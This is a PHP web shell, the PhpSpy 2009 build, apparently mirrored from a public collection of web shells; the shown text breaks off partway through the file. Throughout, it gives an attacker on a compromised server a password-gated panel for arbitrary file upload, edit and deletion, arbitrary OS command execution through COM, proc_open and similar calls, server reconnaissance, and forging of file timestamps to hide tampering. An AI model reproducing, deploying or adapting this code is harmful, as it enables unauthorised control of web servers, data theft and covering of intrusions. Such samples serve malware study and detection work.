mirror of
https://github.com/tennc/webshell
synced 2024-11-25 20:50:18 +00:00
1165 lines
No EOL
37 KiB
PHP
1165 lines
No EOL
37 KiB
PHP
<?php
|
|
|
|
error_reporting(7);
|
|
@set_magic_quotes_runtime(0);
|
|
ob_start();
|
|
$mtime = explode(' ', microtime());
|
|
$starttime = $mtime[1] + $mtime[0];
|
|
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
|
|
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
|
|
define('IS_COM', class_exists('COM') ? 1 : 0 );
|
|
define('IS_GPC', get_magic_quotes_gpc());
|
|
$dis_func = get_cfg_var('disable_functions');
|
|
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
|
|
@set_time_limit(0);
|
|
|
|
foreach(array('_GET','_POST') as $_request) {
|
|
foreach($$_request as $_key => $_value) {
|
|
if ($_key{0} != '_') {
|
|
if (IS_GPC) {
|
|
$_value = s_array($_value);
|
|
}
|
|
$$_key = $_value;
|
|
}
|
|
}
|
|
}
|
|
/*===================== 程序配置 =====================*/
|
|
$admin = array();
|
|
// 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
|
|
$admin['check'] = true;
|
|
// 如果需要密码验证,请修改登陆密码
|
|
$admin['pass'] = 'f4f068e71e0d87bf0ad51e6214ab84e9'; //angel
|
|
|
|
//如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
|
|
// cookie 前缀
|
|
$admin['cookiepre'] = '';
|
|
// cookie 作用域
|
|
$admin['cookiedomain'] = '';
|
|
// cookie 作用路径
|
|
$admin['cookiepath'] = '/';
|
|
// cookie 有效期
|
|
$admin['cookielife'] = 86400;
|
|
/*===================== 配置结束 =====================*/
|
|
|
|
$charsetdb = array(
|
|
'armscii8',
|
|
'ascii',
|
|
'big5',
|
|
'binary',
|
|
'cp1250',
|
|
'cp1251',
|
|
'cp1256',
|
|
'cp1257',
|
|
'cp850',
|
|
'cp852',
|
|
'cp866',
|
|
'cp932',
|
|
'dec8',
|
|
'eucjpms',
|
|
'euckr',
|
|
'gb2312',
|
|
'gbk',
|
|
'geostd8',
|
|
'greek',
|
|
'hebrew',
|
|
'hp8',
|
|
'keybcs2',
|
|
'koi8r',
|
|
'koi8u',
|
|
'latin1',
|
|
'latin2',
|
|
'latin5',
|
|
'latin7',
|
|
'macce',
|
|
'macroman',
|
|
'sjis',
|
|
'swe7',
|
|
'tis620',
|
|
'ucs2',
|
|
'ujis',
|
|
'utf8'
|
|
);
|
|
if ($charset == 'utf8') {
|
|
header("content-Type: text/html; charset=utf-8");
|
|
} elseif ($charset == 'big5') {
|
|
header("content-Type: text/html; charset=big5");
|
|
} elseif ($charset == 'gbk') {
|
|
header("content-Type: text/html; charset=gbk");
|
|
} elseif ($charset == 'latin1') {
|
|
header("content-Type: text/html; charset=iso-8859-2");
|
|
} elseif ($charset == 'euckr') {
|
|
header("content-Type: text/html; charset=euc-kr");
|
|
} elseif ($charset == 'eucjpms') {
|
|
header("content-Type: text/html; charset=euc-jp");
|
|
}
|
|
|
|
$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
|
|
$timestamp = time();
|
|
|
|
/*===================== 身份验证 =====================*/
|
|
if ($action == "logout") {
|
|
scookie('loginpass', '', -86400 * 365);
|
|
p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
|
|
p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
|
|
exit;
|
|
}
|
|
if($admin['check']) {
|
|
if ($doing == 'login') {
|
|
if ($admin['pass'] == md5($password)) {
|
|
scookie('loginpass', md5($password));
|
|
p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
|
|
p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
|
|
exit;
|
|
}
|
|
}
|
|
if ($_COOKIE['loginpass']) {
|
|
if ($_COOKIE['loginpass'] != $admin['pass']) {
|
|
loginpage();
|
|
}
|
|
} else {
|
|
loginpage();
|
|
}
|
|
}
|
|
/*===================== 验证结束 =====================*/
|
|
|
|
$errmsg = '';
|
|
|
|
// 查看PHPINFO
|
|
if ($action == 'phpinfo') {
|
|
if (IS_PHPINFO) {
|
|
phpinfo();
|
|
exit;
|
|
} else {
|
|
$errmsg = 'phpinfo() function has non-permissible';
|
|
}
|
|
}
|
|
|
|
// 下载文件
|
|
if ($doing == 'downfile' && $thefile) {
|
|
if (!@file_exists($thefile)) {
|
|
$errmsg = 'The file you want Downloadable was nonexistent';
|
|
} else {
|
|
$fileinfo = pathinfo($thefile);
|
|
header('Content-type: application/x-'.$fileinfo['extension']);
|
|
header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
|
|
header('Content-Length: '.filesize($thefile));
|
|
@readfile($thefile);
|
|
exit;
|
|
}
|
|
}
|
|
|
|
?>
|
|
<html>
|
|
<head>
|
|
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
|
|
<title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
|
|
<style type="text/css">
|
|
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
|
|
.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
|
|
.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
|
|
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
|
|
a {color: #00f;text-decoration:underline;}
|
|
a:hover{color: #f00;text-decoration:none;}
|
|
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
|
|
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
|
|
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
|
|
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
|
|
.head td span{font-weight:normal;}
|
|
form{margin:0;padding:0;}
|
|
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
|
|
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
|
|
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
|
|
</style>
|
|
<script type="text/javascript">
|
|
function CheckAll(form) {
|
|
for(var i=0;i<form.elements.length;i++) {
|
|
var e = form.elements[i];
|
|
if (e.name != 'chkall')
|
|
e.checked = form.chkall.checked;
|
|
}
|
|
}
|
|
function $(id) {
|
|
return document.getElementById(id);
|
|
}
|
|
function goaction(act){
|
|
$('goaction').action.value=act;
|
|
$('goaction').submit();
|
|
}
|
|
</script>
|
|
</head>
|
|
<body style="margin:0;table-layout:fixed; word-break:break-all">
|
|
<table width="100%" border="0" cellpadding="0" cellspacing="0">
|
|
<tr class="head">
|
|
<td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2009 Build 20081222</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
|
|
</tr>
|
|
<tr class="alt1">
|
|
<td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
|
|
<a href="javascript:goaction('logout');">Logout</a> |
|
|
<a href="javascript:goaction('file');">File Manager</a> |
|
|
<a href="javascript:goaction('shell');">Execute Command</a> |
|
|
<a href="javascript:goaction('phpenv');">PHP Variable</a>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
|
|
<?php
|
|
|
|
formhead(array('name'=>'goaction'));
|
|
makehide('action');
|
|
formfoot();
|
|
|
|
$errmsg && m($errmsg);
|
|
|
|
// 获取当前路径
|
|
if (!$dir) {
|
|
if ($_SERVER["DOCUMENT_ROOT"]) {
|
|
$dir = $_SERVER["DOCUMENT_ROOT"];
|
|
} else {
|
|
$dir = '.';
|
|
}
|
|
}
|
|
|
|
$nowpath = getPath(SA_ROOT, $dir);
|
|
if (substr($dir, -1) != '/') {
|
|
$dir = $dir.'/';
|
|
}
|
|
$uedir = ue($dir);
|
|
|
|
if (!$action || $action == 'file') {
|
|
|
|
// 判断读写情况
|
|
$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
|
|
|
|
// 删除目录
|
|
if ($doing == 'deldir' && $thefile) {
|
|
if (!file_exists($thefile)) {
|
|
m($thefile.' directory does not exist');
|
|
} else {
|
|
m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
|
|
}
|
|
}
|
|
|
|
// 创建目录
|
|
elseif ($newdirname) {
|
|
$mkdirs = $nowpath.$newdirname;
|
|
if (file_exists($mkdirs)) {
|
|
m('Directory has already existed');
|
|
} else {
|
|
m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
|
|
@chmod($mkdirs,0777);
|
|
}
|
|
}
|
|
|
|
// 上传文件
|
|
elseif ($doupfile) {
|
|
m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
|
|
}
|
|
|
|
// 编辑文件
|
|
elseif ($editfilename && $filecontent) {
|
|
$fp = @fopen($editfilename,'w');
|
|
m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
|
|
@fclose($fp);
|
|
}
|
|
|
|
// 编辑文件属性
|
|
elseif ($pfile && $newperm) {
|
|
if (!file_exists($pfile)) {
|
|
m('The original file does not exist');
|
|
} else {
|
|
$newperm = base_convert($newperm,8,10);
|
|
m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
|
|
}
|
|
}
|
|
|
|
// 改名
|
|
elseif ($oldname && $newfilename) {
|
|
$nname = $nowpath.$newfilename;
|
|
if (file_exists($nname) || !file_exists($oldname)) {
|
|
m($nname.' has already existed or original file does not exist');
|
|
} else {
|
|
m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
|
|
}
|
|
}
|
|
|
|
// 复制文件
|
|
elseif ($sname && $tofile) {
|
|
if (file_exists($tofile) || !file_exists($sname)) {
|
|
m('The goal file has already existed or original file does not exist');
|
|
} else {
|
|
m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
|
|
}
|
|
}
|
|
|
|
// 克隆时间
|
|
elseif ($curfile && $tarfile) {
|
|
if (!@file_exists($curfile) || !@file_exists($tarfile)) {
|
|
m('The goal file has already existed or original file does not exist');
|
|
} else {
|
|
$time = @filemtime($tarfile);
|
|
m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
|
|
}
|
|
}
|
|
|
|
// 自定义时间
|
|
elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
|
|
if (!@file_exists($curfile)) {
|
|
m(basename($curfile).' does not exist');
|
|
} else {
|
|
$time = strtotime("$year-$month-$day $hour:$minute:$second");
|
|
m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
|
|
}
|
|
}
|
|
|
|
// 批量删除文件
|
|
elseif($doing == 'delfiles') {
|
|
if ($dl) {
|
|
$dfiles='';
|
|
$succ = $fail = 0;
|
|
foreach ($dl as $filepath => $value) {
|
|
if (@unlink($filepath)) {
|
|
$succ++;
|
|
} else {
|
|
$fail++;
|
|
}
|
|
}
|
|
m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
|
|
} else {
|
|
m('Please select file(s)');
|
|
}
|
|
}
|
|
|
|
//操作完毕
|
|
formhead(array('name'=>'createdir'));
|
|
makehide('newdirname');
|
|
makehide('dir',$nowpath);
|
|
formfoot();
|
|
formhead(array('name'=>'fileperm'));
|
|
makehide('newperm');
|
|
makehide('pfile');
|
|
makehide('dir',$nowpath);
|
|
formfoot();
|
|
formhead(array('name'=>'copyfile'));
|
|
makehide('sname');
|
|
makehide('tofile');
|
|
makehide('dir',$nowpath);
|
|
formfoot();
|
|
formhead(array('name'=>'rename'));
|
|
makehide('oldname');
|
|
makehide('newfilename');
|
|
makehide('dir',$nowpath);
|
|
formfoot();
|
|
formhead(array('name'=>'fileopform', 'target'=>'_blank'));
|
|
makehide('action');
|
|
makehide('opfile');
|
|
makehide('dir');
|
|
formfoot();
|
|
formhead(array('name'=>'getsize'));
|
|
makehide('getdir');
|
|
makehide('dir');
|
|
formfoot();
|
|
|
|
$free = @disk_free_space($nowpath);
|
|
!$free && $free = 0;
|
|
$all = @disk_total_space($nowpath);
|
|
!$all && $all = 0;
|
|
$used = $all-$free;
|
|
$used_percent = @round(100/($all/$free),2);
|
|
p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
|
|
|
|
?>
|
|
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
|
|
<form action="" method="post" id="godir" name="godir">
|
|
<tr>
|
|
<td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
|
|
<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
|
|
<td nowrap><input class="bt" value="GO" type="submit"></td>
|
|
</tr>
|
|
</form>
|
|
</table>
|
|
<script type="text/javascript">
|
|
function createdir(){
|
|
var newdirname;
|
|
newdirname = prompt('Please input the directory name:', '');
|
|
if (!newdirname) return;
|
|
$('createdir').newdirname.value=newdirname;
|
|
$('createdir').submit();
|
|
}
|
|
function fileperm(pfile){
|
|
var newperm;
|
|
newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
|
|
if (!newperm) return;
|
|
$('fileperm').newperm.value=newperm;
|
|
$('fileperm').pfile.value=pfile;
|
|
$('fileperm').submit();
|
|
}
|
|
function copyfile(sname){
|
|
var tofile;
|
|
tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
|
|
if (!tofile) return;
|
|
$('copyfile').tofile.value=tofile;
|
|
$('copyfile').sname.value=sname;
|
|
$('copyfile').submit();
|
|
}
|
|
function rename(oldname){
|
|
var newfilename;
|
|
newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
|
|
if (!newfilename) return;
|
|
$('rename').newfilename.value=newfilename;
|
|
$('rename').oldname.value=oldname;
|
|
$('rename').submit();
|
|
}
|
|
function dofile(doing,thefile,m){
|
|
if (m && !confirm(m)) {
|
|
return;
|
|
}
|
|
$('filelist').doing.value=doing;
|
|
if (thefile){
|
|
$('filelist').thefile.value=thefile;
|
|
}
|
|
$('filelist').submit();
|
|
}
|
|
function createfile(nowpath){
|
|
var filename;
|
|
filename = prompt('Please input the file name:', '');
|
|
if (!filename) return;
|
|
opfile('editfile',nowpath + filename,nowpath);
|
|
}
|
|
function opfile(action,opfile,dir){
|
|
$('fileopform').action.value=action;
|
|
$('fileopform').opfile.value=opfile;
|
|
$('fileopform').dir.value=dir;
|
|
$('fileopform').submit();
|
|
}
|
|
function godir(dir,view_writable){
|
|
if (view_writable) {
|
|
$('godir').view_writable.value=view_writable;
|
|
}
|
|
$('godir').dir.value=dir;
|
|
$('godir').submit();
|
|
}
|
|
function getsize(getdir,dir){
|
|
$('getsize').getdir.value=getdir;
|
|
$('getsize').dir.value=dir;
|
|
$('getsize').submit();
|
|
}
|
|
</script>
|
|
<?php
|
|
tbhead();
|
|
p('<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">');
|
|
p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div></form>');
|
|
p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
|
|
p(' | <a href="javascript:godir(\'.\');">ScriptPath</a>');
|
|
p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
|
|
p(' | View Writable ( <a href="javascript:godir(\''.$nowpath.'\',\'dir\');">Directory</a>');
|
|
p(' | <a href="javascript:godir(\''.$nowpath.'\',\'file\');">File</a> )');
|
|
p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
|
|
if (IS_WIN && IS_COM) {
|
|
$obj = new COM('scripting.filesystemobject');
|
|
if ($obj && is_object($obj) && is_array($obj->Drives)) {
|
|
$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
|
|
foreach($obj->Drives as $drive) {
|
|
if ($drive->DriveType == 2) {
|
|
p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
|
|
} else {
|
|
p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
p('</td></tr><tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
|
|
|
|
//查看所有可写文件和目录
|
|
$dirdata=array();
|
|
$filedata=array();
|
|
|
|
if ($view_writable == 'dir') {
|
|
$dirdata = GetWDirList($nowpath);
|
|
$filedata = array();
|
|
} elseif ($view_writable == 'file') {
|
|
$dirdata = array();
|
|
$filedata = GetWFileList($nowpath);
|
|
} else {
|
|
// 目录列表
|
|
$dirs=@opendir($dir);
|
|
while ($file=@readdir($dirs)) {
|
|
$filepath=$nowpath.$file;
|
|
if(@is_dir($filepath)){
|
|
$dirdb['filename']=$file;
|
|
$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
|
|
$dirdb['dirchmod']=getChmod($filepath);
|
|
$dirdb['dirperm']=getPerms($filepath);
|
|
$dirdb['fileowner']=getUser($filepath);
|
|
$dirdb['dirlink']=$nowpath;
|
|
$dirdb['server_link']=$filepath;
|
|
$dirdb['client_link']=ue($filepath);
|
|
$dirdata[]=$dirdb;
|
|
} else {
|
|
$filedb['filename']=$file;
|
|
$filedb['size']=sizecount(@filesize($filepath));
|
|
$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
|
|
$filedb['filechmod']=getChmod($filepath);
|
|
$filedb['fileperm']=getPerms($filepath);
|
|
$filedb['fileowner']=getUser($filepath);
|
|
$filedb['dirlink']=$nowpath;
|
|
$filedb['server_link']=$filepath;
|
|
$filedb['client_link']=ue($filepath);
|
|
$filedata[]=$filedb;
|
|
}
|
|
}// while
|
|
unset($dirdb);
|
|
unset($filedb);
|
|
@closedir($dirs);
|
|
}
|
|
@sort($dirdata);
|
|
@sort($filedata);
|
|
$dir_i = '0';
|
|
|
|
foreach($dirdata as $key => $dirdb){
|
|
if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
|
|
if($getdir && $getdir == $dirdb['server_link']) {
|
|
$attachsize = dirsize($dirdb['server_link']);
|
|
$attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';
|
|
} else {
|
|
$attachsize = '<a href="javascript:getsize(\''.$dirdb['server_link'].'\',\''.$dir.'\');">Stat</a>';
|
|
}
|
|
$thisbg = bg();
|
|
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
|
|
p('<td width="2%" nowrap> </td>');
|
|
p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
|
|
p('<td nowrap>'.$dirdb['mtime'].'</td>');
|
|
p('<td nowrap>'.$attachsize.'</td>');
|
|
p('<td nowrap>');
|
|
p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
|
|
p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
|
|
p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete <'.$dirdb['filename'].'>? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
|
|
p('</tr>');
|
|
$dir_i++;
|
|
} else {
|
|
if($dirdb['filename']=='..') {
|
|
p('<tr class='.bg().'>');
|
|
p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
|
|
p('</tr>');
|
|
}
|
|
}
|
|
}
|
|
|
|
p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
|
|
p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
|
|
makehide('action','file');
|
|
makehide('thefile');
|
|
makehide('doing');
|
|
makehide('dir',$nowpath);
|
|
$file_i = '0';
|
|
|
|
foreach($filedata as $key => $filedb){
|
|
if($filedb['filename']!='..' && $filedb['filename']!='.') {
|
|
$fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']);
|
|
$thisbg = bg();
|
|
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
|
|
p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
|
|
p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
|
|
p('<td nowrap>'.$filedb['mtime'].'</td>');
|
|
p('<td nowrap>'.$filedb['size'].'</td>');
|
|
p('<td nowrap>');
|
|
p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
|
|
p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
|
|
p('<td nowrap>');
|
|
p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
|
|
p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
|
|
p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
|
|
p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
|
|
p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
|
|
p('</td></tr>');
|
|
$file_i++;
|
|
}
|
|
}
|
|
p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
|
|
p('</form></table>');
|
|
}// end dir
|
|
|
|
elseif ($action == 'editfile') {
|
|
if(file_exists($opfile)) {
|
|
$fp=@fopen($opfile,'r');
|
|
$contents=@fread($fp, filesize($opfile));
|
|
@fclose($fp);
|
|
$contents=htmlspecialchars($contents);
|
|
}
|
|
formhead(array('title'=>'Create / Edit File'));
|
|
makehide('action','file');
|
|
makehide('dir',$nowpath);
|
|
makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
|
|
maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
|
|
formfooter();
|
|
|
|
goback();
|
|
|
|
}//end editfile
|
|
|
|
elseif ($action == 'newtime') {
|
|
$opfilemtime = @filemtime($opfile);
|
|
//$time = strtotime("$year-$month-$day $hour:$minute:$second");
|
|
$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
|
|
formhead(array('title'=>'Clone file was last modified time'));
|
|
makehide('action','file');
|
|
makehide('dir',$nowpath);
|
|
makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
|
|
makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
|
|
formfooter();
|
|
formhead(array('title'=>'Set last modified'));
|
|
makehide('action','file');
|
|
makehide('dir',$nowpath);
|
|
makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
|
|
p('<p>Instead »');
|
|
p('year:');
|
|
makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
|
|
p('month:');
|
|
makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
|
|
p('day:');
|
|
makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
|
|
p('hour:');
|
|
makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
|
|
p('minute:');
|
|
makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
|
|
p('second:');
|
|
makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
|
|
p('</p>');
|
|
formfooter();
|
|
goback();
|
|
}//end newtime
|
|
|
|
elseif ($action == 'shell') {
|
|
if (IS_WIN && IS_COM) {
|
|
if($program && $parameter) {
|
|
$shell= new COM('Shell.Application');
|
|
$a = $shell->ShellExecute($program,$parameter);
|
|
m('Program run has '.(!$a ? 'success' : 'fail'));
|
|
}
|
|
!$program && $program = 'c:\windows\system32\cmd.exe';
|
|
!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
|
|
formhead(array('title'=>'Execute Program'));
|
|
makehide('action','shell');
|
|
makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
|
|
p('<p>');
|
|
makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
|
|
makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
|
|
p('</p>');
|
|
formfoot();
|
|
}
|
|
formhead(array('title'=>'Execute Command'));
|
|
makehide('action','shell');
|
|
if (IS_WIN && IS_COM) {
|
|
$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
|
|
makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
|
|
}
|
|
p('<p>');
|
|
makeinput(array('title'=>'Command','name'=>'command','value'=>htmlspecialchars($command)));
|
|
makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
|
|
p('</p>');
|
|
formfoot();
|
|
|
|
if ($command) {
|
|
p('<hr width="100%" noshade /><pre>');
|
|
if ($execfunc=='wscript' && IS_WIN && IS_COM) {
|
|
$wsh = new COM('WScript.shell');
|
|
$exec = $wsh->exec('cmd.exe /c '.$command);
|
|
$stdout = $exec->StdOut();
|
|
$stroutput = $stdout->ReadAll();
|
|
echo $stroutput;
|
|
} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
|
|
$descriptorspec = array(
|
|
0 => array('pipe', 'r'),
|
|
1 => array('pipe', 'w'),
|
|
2 => array('pipe', 'w')
|
|
);
|
|
$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
|
|
if (is_resource($process)) {
|
|
fwrite($pipes[0], $command."\r\n");
|
|
fwrite($pipes[0], "exit\r\n");
|
|
fclose($pipes[0]);
|
|
while (!feof($pipes[1])) {
|
|
echo fgets($pipes[1], 1024);
|
|
}
|
|
fclose($pipes[1]);
|
|
while (!feof($pipes[2])) {
|
|
echo fgets($pipes[2], 1024);
|
|
}
|
|
fclose($pipes[2]);
|
|
proc_close($process);
|
|
}
|
|
} else {
|
|
echo(execute($command));
|
|
}
|
|
p('</pre>');
|
|
}
|
|
}//end shell
|
|
|
|
elseif ($action == 'phpenv') {
|
|
$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
|
|
$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
|
|
!$dis_func && $dis_func = 'No';
|
|
$info = array(
|
|
1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
|
|
2 => array('Server Domain',$_SERVER['SERVER_NAME']),
|
|
3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
|
|
4 => array('Server OS',PHP_OS),
|
|
5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
|
|
6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
|
|
7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
|
|
8 => array('PHP run mode',strtoupper(php_sapi_name())),
|
|
9 => array('The file path',__FILE__),
|
|
|
|
10 => array('PHP Version',PHP_VERSION),
|
|
11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
|
|
12 => array('Safe Mode',getcfg('safe_mode')),
|
|
13 => array('Administrator',$adminmail),
|
|
14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
|
|
15 => array('enable_dl',getcfg('enable_dl')),
|
|
16 => array('display_errors',getcfg('display_errors')),
|
|
17 => array('register_globals',getcfg('register_globals')),
|
